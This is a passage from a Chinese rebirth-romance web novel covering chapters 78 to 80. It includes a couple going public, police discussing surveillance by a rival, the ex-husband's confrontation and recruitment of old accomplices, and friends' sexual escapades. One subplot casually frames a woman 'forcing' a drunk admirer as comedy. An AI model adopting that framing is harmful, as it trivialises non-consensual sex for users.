现在冲出去指责他道貌岸然,抢别人老婆……不仅不能拉他下马,更甚至让他有所防备。
以林语晨逆反的个性,这种行为只会加快促成两人的好事。
林语晨要强,再有前世的惨烈婚姻,她一定不会这么快同赵有归领证。
但是,若现在冲出去辱骂赵有归,情况就不一定。
林语晨了解楚邵,而楚邵也了解她。
此刻,他目送赵有归疾步进单位大院,握紧拳深吸口气。
“林语晨,你不是说你和陆天没有关系吗?你和赵有归呢?你还能狡辩吗?”
然而,他的内心深处非常明白:现在得我和林语晨没有婚姻关系。若要站在道德制高点控制她,就必须让林语晨答应结婚领证!
耿昊在五楼摸头,目送赵有归拿饭盒进家,一边望远镜抓到楚邵掉头而去的背影。这感觉看起来就像是还没斗上……却已经斗败的丧家之犬。
他忍不住给楚老板抓拍一张街头背影照:“楚老板,苏市大红人,有意思啊!呵!”
78. 找律师
林语晨正在洗澡,听到开门声,问了句:“有归吗?”
“嗯。”赵有归放下饭盒,洗过手后走向浴室,撩向浴帘的手垂下,不妨里面伸出手来抓自己的衣服。
林语晨拽他进来,结果人像铁桶似拽不动。
在她发怒前,手里的衣服动了。赵有归自愿被拽进去。
湿漉漉的身体紧紧地贴着他,眼神宛如勾人的清妍花神:“我以为你多硬呢,想我了?”
“我怕你着凉,掀帘有冷风。中午了,别闹,穿好出去吃饭。”赵有归手痒痒,弹在她的鼻头,宠溺地看她躲闪。
林语晨躲不开就靠在他耳边呵呵笑:“我不要吃饭,我要吃你。”
“呵……哈!”赵有归被逗得咧开嘴,眼神试图不去抓她的惹人处,握住她捣乱的手,“乖,别闹,去吃饭。”
林语晨看他真忍住,依依不舍地放过他。
她穿好到桌前,看着热腾腾的饭菜:“又热过了?”
“嗯。天气冷,东西凉得快。”赵有归看她的头发在滴水,把筷子塞去,又转去拿毛巾给她轻轻地吸干头发。
林语晨边嚼边转头,被一把固定住脑袋,鼓囊囊说:“我吃饭呢,别擦头发啦。”
赵有归沉声说:“我动作很轻。大冬天不擦干,想感冒呀?下午,你还待在家呢?”
“我怕突然出去吓到别人,害你被人闲言碎语。”林语晨猛地转头,躲开他的手,笑意盈盈看去,“你怕不怕?”
赵有归看着她唇角的饭粒,拿手巾给她擦去:“你怕不怕怀孕?”
“……我说一、你说二,狡猾。”林语晨看着他手里的格子手巾,恨恨地转回去扒饭。
“因为答案一样。”赵有归发现她顿了下,了然地笑起。
头发不滴水,他放下毛巾,坐在她侧面,认真说:“语晨,我们都很认真,也都不怕事。但是,孩子……可能会怕。
她那么小,一旦来到这个世界……”
林语晨低头吃着饭,没吭声。
赵有归看出她的意思,停下话,拍在她的手背:“下午去做什么?”
“淳于芳给我发消息,让我去开年会,我不打算去。茉莉应该也不会去。”林语晨平静地说,“一会我去晓古知今接茉莉。”
“嗯。晨芳国际问银行借款建楼,三年内还清。到时候,晨芳国际就真正成为掌握灵省经济运转的中心地。”赵有归谈起这事想到林语晨的爱情布局,彼此真是不遑多让。
他答应帮忙牵线搭桥,同时,利用这点帮助的小功劳寄给她报本,何尝不是趁势便利,想谋她的心意。
“我出国的主要目的不是读书,而是想要同国外的服装品牌牵上线,让他们看到我国服装企业的加工生产能力,让灵省成为服装出口大省,同时推销我们的面料供应商。所以,我和丽珍师娘商量,近三年内,晨芳剩下的资金会重点投资、扶持小面料企业,助力它们壮大规模、改进织机、以及面料纺织结构等。毕竟,从古至今,我国都是真丝出口国家。”
林语晨说这些时整个人都像在发光,照得赵有归目不转睛。
赵有归安静地笑看着,静静地欣赏林语晨的光芒:“你想让我联系谭省,促成面料企业等工厂的发展问题?”
“呵……嗯!”林语晨握住赵有归放在桌面上的手,“知我者,有归哥也。我还有个理想,你一定有兴趣。”
“说来听听。”赵有归坐直身体,与她目光相缠,眼里亮得像在说“这个女人怎么可以这样有魅力又可爱缠人呢?”
“服装、面料企业发展起来,定会带动灵省的经济。我想要加快新建村的新农村建设,像张天鸿爸爸张德梁一样,让我们村的人都住上小别墅,包括你我家,还有爸妈家……这个理想好不好?”
赵有归的嘴角再次上扬,单手挪凳子,狠狠地搂紧她。
“语晨,我很高兴,在你的未来里我们已经是一家人。”
林语晨当然愿意与他一起成家立业。
但是,她不能保证这一路上赵有归不会变节变心。前世的经历让她对他们这些特殊身份的人持着很重的戒备心。
“当然啦。我答应与你在一起,你就在我的规划里啦。”
赵有归拥着她,唇角咧到耳根:“你怎么这么会说情话?我嘴好笨,都怕不能让你开心。”
林语晨在他怀里仰头,点在他线条分明的下颌:“虽然你不说,但是你会做。你做过得每一件事都记在我心上。
有归,你知不知道你不说话时有多迷人?”
更迷人得是你驰骋后发出得那声性感低沉的释放声,拥紧我得那刻,让我觉得我是世界上最幸福最被在意的女人。
赵有归低头亲在她的额头,待林语晨摸来唇边,浅啄一下后抱她起身。
自持又肯定沉稳地说:“我洗碗,然后送你出去。”
“……”林语晨睨去,气鼓鼓得宛如小孩一样跟在他后面转来转去,看他洗碗就递抹布,看他放碗就帮开柜,时不时嘟嘴索吻,逗得赵有归都怀疑这是个没长大讨糖的可爱孩子。
赵有归觉得好无奈也很幸福,以至于都不想开门放她离去。
两人收拾好后拉开窗帘,贴靠在门背后。
赵有归的手握在门把手上,林语晨也握上去,彼此眼神纠缠,心连着心。
赵有归抿唇笑:“我开了。”
林语晨咧开嘴,垫脚亲上去。
门被打开,路过的宋景妈妈手里的篮子吧嗒掉在地上:“有归……赵局长?”
亲吻的两人依依不舍地放开彼此,齐齐往门外看去。
大院里的人听到动静,陆续走出来。
赵局长拉着林语晨走入院中,向大伙正式介绍:“这是我女朋友林语晨,也是我的爱人。语晨,这位是宋景的妈妈,宋阿姨。她和你父母一样,和宋景爸爸同姓。”
“宋阿姨好。”林语晨握住宋阿姨伸来的手,“我记得你,两年多前我来看望沈阿姨,你也在院里。”
“对对对,我也记得你。沈大姐老同我提起你,你和赵局长……真好。”宋阿姨拍下手,直接从赵有归身边拉走林语晨,给她一一介绍院子里的人。
“这是张阿姨,这是钱嫂子,钱育才的老婆,在赵局长手下做事。这是李阿姨……”
林语晨一一叫过去,好像没摆酒就已经在认亲。
她偷空看向赵有归,发现他撇脸偷笑,也忍不住咧大嘴,一一同大院里的人说些话。
待从大院出来,林语晨看着手里一捧杂七杂八的果铺、糕点、手巾、罐头……
“这也太夸张啦。你不是不让婶婶乱收东西吗,怎么不阻止我?”
赵有归帮她分担一些,慢声说:“虽然你不是头一次来,但这次算见亲友邻居。大家看到你高兴,就送东西给你,跟小孩来家里递糖是一个意思。
我怎么好意思替一个孩子拒绝邻居们的心意?”
“哇,你损我!”林语晨抬脚踢去,被他灵巧地躲开。
两人把东西放上车,林语晨又拿出只袋子递去,“这是新年礼物,我给你买的衣服和裤子。鞋子没有买,我看你们训练时候的筒靴就很好。”
赵有归收下袋子:“你看我也没有拒绝你的礼物。”
“这能一样嘛?”林语晨捶他,“我走啦。对了,答应我的事别忘记。”
“若你晚上回来,我就告诉你。”赵有归买关子逗笑林语晨,而他的目光犀利地射向新建大楼的上方,闪光灯的光已经正大光明到遮不住。
林语晨要回头被赵有归一把扶正,被塞上车。
“干嘛呀?”
“你快去接茉莉吧。上次,赵晓鹤喝醉后不断念她的名字,胡喊她是穆桂英,都快疯魔了。你把人大姑娘丢在那地方,你不担心?”
赵有归说完不等林语晨反驳就给她关上车门。
林语晨摇下车窗:“茉莉看不上赵晓鹤啦。我走了,晚上见。”
赵有归目送车子走远,上吉普车,如常去上班,仿佛什么都没发生一样。
半个钟头后的市局里,钱育才把一叠资料放在赵有归面前:“耿昊,一年前从法国归国,学得是国际法律专业,爱好摄影。
归国原因是他的父亲病重,没有钱再支撑他在国外留学。
在苏市找几份律师工作都不满意,这年头谁家请律师啊?何况是个半吊子,还是个国际法。他嫌弃薪资低,付不起老爸的医药费。
后来,他经人介绍认识邵仁文。”指在照片上的楚家二舅,“应该是楚邵让他来灵市跟拍你。如今,他那里已经有不少照片,是不是可以拿下他?”
赵有归拿起楚邵的照片,相片上的男人眉目清雅,比前世那位游走花丛、耗尽精.气的首富更周正干净。
又拿起单剑雄、赵楠天、几名官员的照片。与前世相比,多了些人,但是重点那两位没变。
“苏市是隔壁省的省会城市,我们不能直接干预。”
钱育才叹了声:“最差的办法是把查到的资料递给那边市局。但是,我们不知道那边的市局现在被这些人渗透到什么地步。”
孙科敲门进来:“赵局,这是上周赵楠天在灵市的活动路线。”
赵有归一眼看到谭省最爱去的茶馆,面色沉重三分:“果然。”
钱育才看他指的地方暗吸口气:“不至于吧?”
孙科扬眉:“难说。听值班跟踪的警员说,当天两人在单独的茶室碰头,一直传出笑声,说明两人的谈话过程很愉快。”
“局长,这局面不比5.18案子简单啊,甚至……”钱育才提醒。
赵有归摆手:“现在我们只是捕风捉影,没有确凿证据。他是我的老团长、也是我的老师。先这样吧,我亲自找他谈一谈。
然后,我们再来制定争对他们的策略。
对了,楚邵既然回来,又见过耿昊,必有下一步动作。
语晨最近在我那住宿……”
钱育才和孙科顿时睁大眼。
孙科:“局长,知法犯法……”
钱育才撞下他:“胡说什么呢?局长和林小姐是同乡同村,进城来收留她一晚……”
“我和语晨在谈恋爱。”赵有归直接暴雷,吓得对面两人目瞪口呆。
钱育才呵呵:“林小姐人美心善,又勇敢,曾经是见义勇为好市民。局长光风霁月,和她简直是天造地设一对。局长,你们两人应该没有……”成年男人都懂他这个眼神。
“我们在一起。”赵有归继续暴雷。
孙科已经佛了。
钱育才哎了声,摸把额头上不存在的冷汗:“那完蛋了。耿昊那王八蛋肯定拍到吧?这事要是传开……局长,别等了,直接把耿昊抓了吧。”
“我告诉你们是让你们有个心理准备。”赵有归看着不明所以的两人,“老钱,有时候办案,处在光明得一面是看不到阴暗那面。所以我们……”
“转入地下!”钱育才耿直接话,“但是,局长,你已经是咱们灵市的灵魂人物。如果你因为这事下马,那也太……冤枉吧?”
赵有归轻笑:“这不算冤枉吧?于私,这是我个人的自愿行为,未领证先与女同志有关系,于原则纪律上有亏。
于公,我只有下去才能让那些试图进来、在外无法抓住的黑恶力量浮出水面,而你们就可以把他们一网打尽。”
听听赵局长的话,已经把自己排除在外!
钱育才的内心一片凉:“咱们就没有别的办法啦?”
赵有归总结:“等我见过谭省,视情况再定吧。”
孙科和钱育才走出门。
宋景拿资料过来:“你们俩怎么一脸丧气,局长骂人了?”
钱育才拍在宋景的肩头:“无知的人最幸福。”
孙科也学钱育才的姿态,拍了拍宋景另一边的肩头。
两人齐齐去办公。
宋景回头看去:“神经啊!”
*
林语晨来到晓古知今店门口时发现没开门,各种想法在脑子里晃过,但不妨碍她敲门。
咚咚咚……
“晓鹤,茉莉?”
店里二楼的卧室里,赵晓鹤浑身青紫色,皮肤宛如白瓷描油彩,怪让人怜惜。
张茉莉翻个身,对上赵晓鹤黑漆漆的委屈眼睛,愣了下:“妈呀,你干嘛这么近盯着我。”
“我……”近视眼!
赵晓鹤往后挪,红艳艳的脸上韵着羞涩,“好像是语晨来了。”
张茉莉哎了声,赶紧找衣服穿起来。她把赵晓鹤的衣衫抛过去,边穿边威胁:“我警告你别胡说啊。咱俩……什么都没发生过,知道吗?”
“茉莉……”赵晓鹤泫然欲泣,咬紧唇,看茉莉要跑,赶紧追出来,结果被茉莉情急下一脚踢在腹部,“唔……”
“哎呀,我不是故意……咿!总之,昨晚的事天知地知,你知我知,不准让第三个人知道,听到没有?对
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了,管住你家鹦鹉那臭嘴,本来都消停,都怪它!”
呆萌玄凤头顶黄毛,脸挂两腮红:……鸟惹你们?
赵晓鹤痛得说不出话,只能点了点头,听着啪啪的下楼声,委屈地看向隔壁的玄凤。
玄凤点了点脑袋,头顶的黄色羽冠跟着晃动:“呱,我不知。呱……茉莉,疼……呱……好紧……呱……”
赵晓鹤一把扑过去,抓住玄凤的脚链子,夹住它的嘴巴。
楼下,林语晨在店门外仰头看向二楼,好像听到鹦鹉的叫声,还喊茉莉的名字。赵晓鹤喜欢茉莉,叫它喊茉莉的名字很正常,那“疼、紧”又是什么意思?
脑子里晃过一个可能,随即抹去!
——不可能!
张茉莉力拔山兮,一把挪开老式木头插门,拉住正要进门的林语晨:“你可终于来接我,走吧。”
“不是,我还要找赵晓鹤呢。”林语晨被张茉莉抓着双肩一转一推、往车上塞去,“你干嘛?收点力气啊,疼死我了。”
张茉莉回头看二楼探出的人和鸟脑袋,嘴里忽悠着林语晨,关上车门后赶去副驾驶,赶紧上车关门,嚷嚷:“快开车开车。”
“……”林语晨探出头又被她抓回去,只好启动车子,“淳于芳让你开年会,你怎么不去?”
“开完了?不对,你不是也没去吗?我睡着了,不知道什么年会。”张茉莉取出BB机,上面还真有一条信息,关掉后塞入包,撇头看向窗外。
林语晨狐疑地看去,盯在茉莉露出的脖颈处,那地方一片红艳艳,像是被猫抓出来似。
待她转头看路差点撞到人,一个急刹车:“呼……”
“作死啊,有车了不起,会不会开车啊?”路人也被吓得应激,脱口大骂,待看车里探出位美女连说“对不起”,翻个白眼走掉。
张茉莉放下撸起的袖子:“你干嘛拦我,这人嘴真脏!”
“本来就是我不对。”林语晨不再分心,一路开车带她回淳于芳的别墅。
两人进屋后一楼的餐盘已经被收拾干净。
张茉莉不等林语晨问什么,直接跑楼上去洗澡。
林语晨眨眨眼,倒一杯水,给茉莉泡一杯奶,送去二楼。
经过棕色的客房门,门外滚只空杯子,就捡起来。
在好奇心地驱使下,她推开棕色的房门,地板上是凌乱的样衣和女士睡裙、内裤……忍不住捂住嘴,压住惊呼。
淳于芳和刘照霖早就不在房内,只是,房间里看起来没人收拾过。
过来人的林语晨明白昨晚两人应该发生些什么事。
她不动声色地关上门,捏着手里的空水杯出神,放回去就太故意,拿杯子掉头回一楼。短短一路上,她把奶喝光才压住心里得那股……负罪感!
“呼……”林语晨拍在额头,“都怪我!我就不应该跟她们说那些事!”
她想起善后的工作,跑出别墅区找正规药店。
张茉莉洗完后睡回笼觉,根本不知道林语晨已经出门回来两趟,只管一觉睡到天黑。
淳于芳一个人回来,累得不行,腰酸背痛,而且带着很重的黑眼圈。
进门看到林语晨和一桌冒热气的饭菜,激动地说:“唔,语晨,你真是太好了,我可饿坏了。”
“咳,那正好吃饭。对了,刘照霖呢,坐火车回去啦?”
林语晨听她不动声色的答应,知道这个姑娘稳如泰山,就没再多说什么。
两人准备吃饭,看向下楼觅食的张茉莉。
林语晨依旧什么都不问,只说:“你也快来吃饭吧。”
张茉莉已经睡饱养足精神,坐下说:“语晨,我后悔把你让给赵有归,你应该属于我们家。呜呜,好好吃。”徒手抓菜,吃得津津有味。
林语晨信她个鬼,递去一副碗筷。
自己做的饭就能下口。这两人一个是忙得饿坏,一个是睡一天饿坏,才狼吞虎咽说好吃。
饭后,林语晨早就把赵有归抛在脑后,取出药瓶和避孕套放在茶几,向两人看去:“这是避孕药,这是套子,怎么用看说明书,要不要用看你们。”
张茉莉狐疑地看向淳于芳。
淳于芳诧异地看向张茉莉。
两人又齐齐看向林语晨,异口同声:“你不是要生下来吗?”
“装糊涂呢?我又没说给自己用。”林语晨答完,转身上楼,“蓝色房门是我的屋子对吧?我睡了。”
淳于芳和张茉莉面面相觑。
张茉莉拿药,被淳于芳拍在手背,瞪去:“你干嘛?”
淳于芳拿起说明书,细细看去:“药能乱吃吗?你不记得当年有人给林语晨送避孕酒的事。一颗够了。你去倒水。”
张茉莉斜眼,跑去端来一杯温水。
两人各自吃一颗药,喝同一杯水,同时看向桌面上的套子……眼疾手快地出手,各自拿走一盒。
“咳咳……”张茉莉把东西塞进包,轻咳着说,“昨晚,你和刘照霖……那个啦?”
“嗯。”淳于芳放好后点头,靠近茉莉的耳边悄悄说,“第一次怪疼的。语晨的样子怎么看起来一脸幸福,不会装得吧?”
张茉莉想起昨晚的糊涂账,再及今早听鹦鹉叫茉莉的名字……一个情动没把持住强了赵晓鹤。
“一开始确实不咋样吧。自控力差得更是不行。”贴着淳于芳的耳根说了昨晚的尴尬,惹得淳于芳笑不拢嘴,“早上的时候还挺不错。那种感觉,像整个人痉挛到发颤一样,还不赖。嘻嘻!”
淳于芳拍下她的手臂,沮丧地捶沙发:“刘照霖没有这样。一开始有点手忙脚乱,后来就熟练。但是,我疼得时候比舒服的时间长,总得来说不是很舒服。天啊,不会就我不行吧?”
张茉莉一把挽住她的手臂,认真脸:“你别怀疑自己啊,会不会是姓刘小学弟技术不行?”
“我们一样大好吗?”淳于芳强辩,又一脸:这种事还可以这样解释?
张茉莉无声点头,合拢嘴巴,忍住笑。
林语晨在楼上看她们已经交流开,长出口气后转回房间。
张茉莉在男女的事上凭心情,得有人约束她。这个人必然是李丽珍。
淳于芳现在的身价不好说,防人之心不可无,无论怎么样得有人给她分析交男朋友的利弊以及结婚后的利害关系。总之,不能让淳于芳踏上林语晨上一世的老路。
“如今这局面,得找个可靠的律师在身边才行啊!”
79. 和解吧
今天过完,晨芳国际就放假。
淳于芳把林语晨要的年货递去,哀叹了声:“何罗秋让我转交。啊……我还要留一天,呜呜呜,真想同你们一起回去!”碎碎念着跑去上班。
对于工作,她比任何人都有干劲。
张茉莉拖林语晨去买新年衣服。
林语晨身体犯懒,让她自己去。
中午的时候李丽珍过来拜访,带晨芳国际发的年礼。
李丽珍看她逗着自家的娃,打趣说:“那天芳芳喊你们开会,你们都跑哪里去?我把你们的东西带回来。
语晨,喜欢娃娃?找个喜欢的人结婚生一个啊。”
林语晨把宝宝抱给保姆,挽住她的手臂,琢磨着把那晚三人的荒唐事透给她。
李丽珍听完后,起初惊讶随之淡定,拍在林语晨的手臂。
她先让保姆抱着孩子回去,慢慢说:“我是从国外回来,对男女的事比本地人看得开。不论是从女性、男性角度考虑,谈恋爱、试婚是一个认识对方、对夫妻未来生活长远考量的认知过程。除爱人间的灵魂共鸣外,双方身体接触是否和谐是夫妻生活的关键要素之一。
但是,我终归只是茉莉的小婶,不一定管得住她。
你说得赵晓鹤这个人,我有点印象。
之前,家里进一只古董瓶,赵老板帮忙牵的线。他人不错、做事实在,不像是个做生意,更像做学问的人。”
林语晨颔首:“这一路看下来,茉莉喜欢身带学问气质的男人。不过,她现在还有闯的心思,定不下心。
赵晓鹤是我从小一起长大的朋友,说句公证话,他是个好男人,但是,他管不住茉莉。”
李丽珍点头:“我明白你的顾虑,处在两位好朋友的中间,撮合成功,你就是位好媒人;若他们结成怨偶,你就两头不落好两边不是人。
我会同茉莉谈一谈。今年我和德心商量去大哥家过年,让茉莉和我们一起走吧。”
林语晨点头,又说:“芳芳的事呢?”
李丽珍知道有些男人花心,但她婚姻幸福,更愿意相信世上好男人多,比方:张德心校长。
“你的顾虑会不会太过呢?如果芳芳真要结婚,请律师帮她公证财产,这是一种非常伤害彼此感情的行为。”
林语晨知道这事在这个年代不好办,即使在国外也不流行。
“我只是怕万一。”
李丽珍拍了拍她:“你知道现在得你看起来像什么吗?”望向眼神疑惑的好徒弟,缓缓说,“淋过雨的人才知道天气不好时要带伞出门。你就像那个已经淋过雨,受过很重的伤,又试图帮助别人撑起一把伞。
但是,我的好姑娘,有些伤痛只有经历过才能刻骨铭心,当事人才会吸取教训。光凭嘴巴说,人家不会信。
如果,我们就这样跟芳芳说:你嫁人要公证财产,将晨芳国际的股份点清楚,不让你爱的男人沾你的一毛钱,你觉得她会同意吗?”
“我不知道。所以,我找师娘你商量。”
“那么,我的意见是静观其变!我们作为她的合伙人兼好友,在她需要的时候适当提醒就可以,或者在她决定后却遭遇困难,给予最好最有利的帮助。你觉得呢?”
林语晨的心头大定。昨夜她也是这么想,但是真正下决心的时候却会回想起前世楚邵争家产的嘴脸。
她靠上李丽珍的肩头:“谢谢你师娘,你的支持让我看得更明白。之前是我着相。”
李丽珍更好奇她淋过怎样的雨,但是这是林语晨的秘密,她肯说时自然会说。
送走李丽珍后,林语晨准备回新建村。
她把年货、年礼搬上车,锁好家门后开车出去。
半道上,她想起赵有归,喃喃:“大忙人过年总会回家过吧?我到时候再问他关于楚邵的事也不迟。”
车子经过灵江大桥上省道,再往前会经过狮虎村等村落,且是一段山路。
上山路后,林语晨发现不对劲,后面的黑车在市里就时隐时现,如今已经明目张胆地出现在后视镜和倒车镜里。
她觉得有些奇怪,踩油门加快速度。
后面的车子看出她的意图,急追上来,在山道弯口不管不顾逼上去。
林语晨被黑车的操作吓一跳,一打方向盘,却被逼近山道口的岔路。
她想掉头回大道,又怕后面的车追来,眼见这条路还算开阔,应该通往某个村落。
她就一直开上去,想找地方停车,村里人多就不怕后面车上的人。
黑车一直追她的车上祠堂外的停车场。
林语晨发现这是条死路,拍在方向盘:“死路修这么好干什么?”在车里、包里翻找出一把眉毛剪拽在手里,壮着胆子开门下车。
黑车里的男人拔下口罩,在车里死死地盯着站在车头的女人,露出得逞的儒雅笑容。
“楚邵?”林语晨呵了声,恼怒下一脚踹在汽车的前保险杆,疼得龇牙咧嘴。
楚邵缓步下车,走到林语晨面前,弯下身查看她的脚。
林语晨赶紧直身后退,看他蹲着身仰头,怒目问:“你搞什么鬼?”
楚邵做个无奈的外翻手势,含笑起身。
这一天多,脑子里过千百种弄林语晨的办法,最终化一句:“知道这个地方吗?上山村祠堂,518案子的始发地。”
林语晨不明所以地环顾周围,眼前是碎石子铺的场地,没长野草,还挺干净。前方是好几座搭房、再是一座有历史的祠堂。
她回头时楚邵已经站在身边,就往旁边挪两步:“你逼我上来?”
“我逼你?”楚邵想起前世的林语晨,出现问题后总是这样咄咄逼人,“林语晨,从始至终都是你在选择道路。不论是前世还是这一世,你走得每一步是我逼你吗?”
林语晨微眯眼神,撇开脸:“你胡说什么?”
“装?继续装。”楚邵绕到林语晨面前,看她防备着后退,呵呵冷笑,“你放心,我不会动你。你告诉我一句实话,你是不是重生?”
林语晨凝眸盯他,捏紧手里的眉毛剪。
“不说没关系。这种事又有什么好宣扬,前世你我共有财产,一步步走到灵省有头有脸的地位,实在是不容易。我搭局、你应酬,我销售、你管账,我闯祸、你善后……真是天造地设一对啊。呵呵呵……”
楚邵想起那段人生发达之初的岁月,美好得像做梦一样。
若非重生,他上辈子到死都不可能想起曾经的美好。
只是,老天爱开玩笑。林语晨也重生了!
楚邵无奈地苦笑着,为他儒秀般的容貌增添几分成熟稳重的魅力。
“那句话怎么说来着,什么秋风悲画扇,人生……如初见。”
他爱那段创业之初的美好岁月,纯洁得像是生命长河里一直发光的黄金。
“你在胡说什么?”林语晨不愿承认他说的话。
承认意味着无穷的麻烦,尤其楚邵现在的情况,一定不会善罢甘休。当然,从前世走到现在,谁也不会放过对方!
“是。我承认,前世我重重地伤害过你,我不是人。”
啪得一声打在脸上。楚邵摆正打歪的脸,甩了下手,“真疼!晨晨,我知道这点疼比不上当年你心里的疼。我不是东西。”
又是啪得一声,两边脸瞬间对称着红肿。
楚邵看她露出狐疑的眼神,在嘴里来回含了两口松松脸颊,又疼又笑:“我不是来吓唬你。我是真心真诚得向你道歉。
晨晨,对不起,我错了!”
楚邵深深地鞠躬,宛如祭奠死人。
林语晨挪开两步,不接受这样的道歉,而且她发现楚邵变了。
一个外强中干的男人会低头认错!这是个可怕的变化,让人毛骨悚然。
“我不接受!我更不清楚你有什么对不起我!”
楚邵哂笑着直起身:这就是女人,一点事能计较两辈子!浪子回头金不换,在林语晨这不管用!
林语晨已经转身去开车门。
楚邵收敛嘲讽的神色,高声喊:“林语晨,重来一次,你走你的阳关道;我过我的独木桥。咱们井水不犯河水,如何?
你别再背后搞小动作,举报我拿林裕宝的钱之类的事。
这辈子,我只认林菲儿是妹子,不会与她有超过兄妹的关系。
林语晨,如果你不答应,或者,你想找我赔你上辈子的青春,我就一辈子守身如玉,等着你!”
林语晨在车门前眨眼,简直被气笑,宛如吃口油腻的肥肉,恶心得要死。
不说楚邵话里的真假,就说深地工地上的一幕,以林菲儿不择手段的性格,能让楚邵守身如玉?偏鬼呢!
当然,这不是重点。重点是这个男人想要从头开始。他哪来脸啊?
重生归来得那段日子,让他没脸倒霉的日子,这样的答案不够明显吗?
她磨着牙床,转身笑怼:“原来你找我想说这啊,听说过。你认定是我干的,证据呢?”
“证据?你和我站在这,不是证据吗?”楚邵反问回去,又说,“算了。这是小事。我来找你只是想要说:这辈子我们不能做夫妻,但是可以做朋友。你的背后有晨芳国际,我的背后有楚氏建筑。咱们不在一个赛道,没必要斗个你死我活,对吧?”
林语晨想着他的用意,恍然大悟:“你想回灵市?你搞清楚,我没有阻止你回灵市的意思。”
——我甚至期待你回灵市,这样才能抓你的小辫子!
你果然关注着我,恨也是一种关注。
楚邵咧唇低笑,又控制着自己:“你确实没有阻止我。我也是出于大家是朋友,礼貌地告知一声。”
现在得你确实没有这份能量。但是,你找个好男人,赵有归有啊!
“那就这么说定。”楚邵上前,伸出手来。
林语晨看他要握手,本想转身就走,但是,楚邵真得不一样,更难对付。
黄鼠狼给鸡拜年,总是不安好心。
她不能直接下他的面子,会让他更激进。啪得一声打在他的掌心,算是握手。
林语晨瞪着他,上车关门。
楚邵磋磨五指,敲在车窗。自从赵有归家的大院外发现两人的关系,没有直接打上门就在等这一刻。重生的林语晨充满警惕和戒备,只有卸下她的心防,才能靠得更近。
林语晨提防着,慢慢地摇下
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半扇窗户。
楚邵含笑说:“别跟防狼一样防我。人家说百年修得同船渡,千年修得共枕眠。我们也有过千年的修行!”
林语晨摇车窗,被楚邵一把压住窗户:“放手!”
楚邵继续笑:“我真得没别的意思,就想跟你化干戈为玉帛。”又指向祠堂,颇有深意说,“这里是当年赵局长发家的地方,你说他一个退伍军人怎么混上省局局长的位置?
哎,我没别的意思,我就好奇除咱俩之外,会不会还有别的……重生人。或者,他用什么不正当的手段升到本不该属于他的位置。”
林语晨心里微惊。若是楚邵争对自己,一点不带怕,大家知根知底,彼此都知道对方的手段。
但是,楚邵提到赵有归,说明已经盯赵有归很久。而且他得这番话用意就是挑拨离间,此时不是深想的时候,也不能多说。
林语晨再次让他放手,摇上车窗。
楚邵主动站远几步。
他敢保证,林语晨这女人肯定会开车来撞,不致死,但是,她会让人受惊受伤。
林语晨还真有这想法,看着外面的男人一副曾经被自己打扮成鼎盛容颜时的年轻模样,还故作深沉地挥手作别,她心里就是一阵郁气上头。
但是,她想起赵有归,那股曾经让她如鲠在喉的郁气又慢慢地散去。
她发动车子,掉头下山。
楚邵看着车子消失,取出烟点上,转身往祠堂走去。
当年的卷毛、林大树,以及几个男人嘿嘿地笑看他进屋,递椅子给他坐。
卷毛已经是板刷头的刺毛,依旧被楚邵喊外号卷毛。
他眼疾手快地取出块冰,用毛巾包着递给楚邵。
楚邵赞许地看去,拿过冰毛巾敷在颊面。
卷毛:“楚哥,还得是你啊,真记得小弟几个。”
楚邵轻哼:“当年你帮过我,你们几个也关照过我。如今楚哥有钱,你们也都出来,自然得照顾自家的兄弟。”
“是是是。”林大树赶紧说,“楚哥,你是好人,当年还是警察的人。如今,犯法的事咱们是不敢再干……”被旁边人踢了一脚,住了嘴。
“放心吧。你们也知道我背靠警察,是正经的生意人。我不是林裕宝、孙不二那些不要命敢犯法的人。”楚邵把烟递给卷毛,让他抽着,拉下肩头的大衣,“我在苏市有建筑公司,明年打算把业务转回家乡,带动咱们家乡建设。这不正好缺人手帮忙拉起本地的场子。你们吃得起苦,就来我的建筑公司上班。
每月底准时发放工资。你们还能带老婆一起做清扫小工。”
“好好……我愿意。”林大树赶紧举手。
卷毛动了动眼神:“楚哥,我也愿意。我不怕事,只要有钱,什么活都能干。”
楚邵拍在他的肩头,轻笑:“真不会让你们犯法。年后十二,你们来这,我让大巴接你们去苏市工地,先学几个月再回灵市,怎么样?”
“好好。”五人齐齐答应。
“对了,”楚邵笑得更可亲,“你们有亲戚愿意做工,也可以拉上他们。人数越多越好,哥包收。”
“好,楚哥真是大好人。您慢走,送楚哥。”卷毛高声喊。
楚邵嗤笑着回车上,朝外面五人挥手,掉车头下山。
听着车上的音乐,轻哼:“林语晨,这辈子我还跟你缠到底。赵有归,咱们等着瞧,不是喜欢让人做卧底吗?我就让你身败名裂!”
*
林语晨回到家后心情很沉重。林大宝已经放假,一起帮着把年货搬回家:“晨晨,累了吧,赶紧休息休息。”
林兰香哼哼:“你就宠她,说好昨天回来,搞得今天才回来。后天就是大年三十,咋不过完年回来。”
“妈,我错了。对了,我给你们买新衣服,还有一套是给婶婶,我给她拿去。”林语晨拿出给沈秋霞买的新衣,转身就跑出门。
“你看看她?这就给沈嫂子买上,不着家?”林兰香心里一阵酸,眼都涩了。
“她和有归在一起,给沈大嫂买衣服是孝心。哟,好漂亮的羽绒服啊,阿香,快过来试试……”林大宝拉着闹别扭的林兰香进屋试衣服。
林语晨进沈秋霞家,将过年新衣给她:“婶婶,快试试合不合身。”
“晨晨买得定是最好。”沈秋霞依言试穿,羽绒服上身,整个人暖和许多,而且比大棉袄看起来年轻好几岁,“就是太好了,不像是咱们村里人穿的衣服。”
“你可想太多,不仅城里人穿这种衣服,咱们村里人也要穿它。”林语晨满意自己的眼光,“婶婶,有归说几号回来吗?”
沈秋霞觑着她笑:“现在连哥都不喊啦?”见姑娘含羞带笑,又说,“我听你妈说啦,你和有归在一起。有归这孩子瞒得好,估计怕我在外面乱说。
之前,他说过年要排班,具体得看局里的人手情况。”
——原来是这样,所以他定在星期二,也就昨天有空。
罢了,楚邵都露脸,还怕抓不住他的消息么。
“嗯。婶婶,衣服合身,我就先回去了。”林语晨不等她挽留,离开院子。
没几步路,一位少年从她身边风也似跑过。
80. 大过年
少年察觉到眼熟,回头看向林语晨。
“林飞成?”林语晨惊了下,这孩子长这么高?
林飞成停下脚步,狐疑地看去:“你是……哦,当年是你拦着不让晓琳姐帮我!”
沈秋霞听到院外的动静找出来:“语晨,出什么事啊?”
“没事,婶婶。”林语晨装作不认识林飞成,转头说,“我回去了。”直接路过林飞成。
林飞成没有放过她,哼笑着:“原来你就是林语晨啊。”
——真是冤家路窄!我爸会进去还是拜你所赐啊!
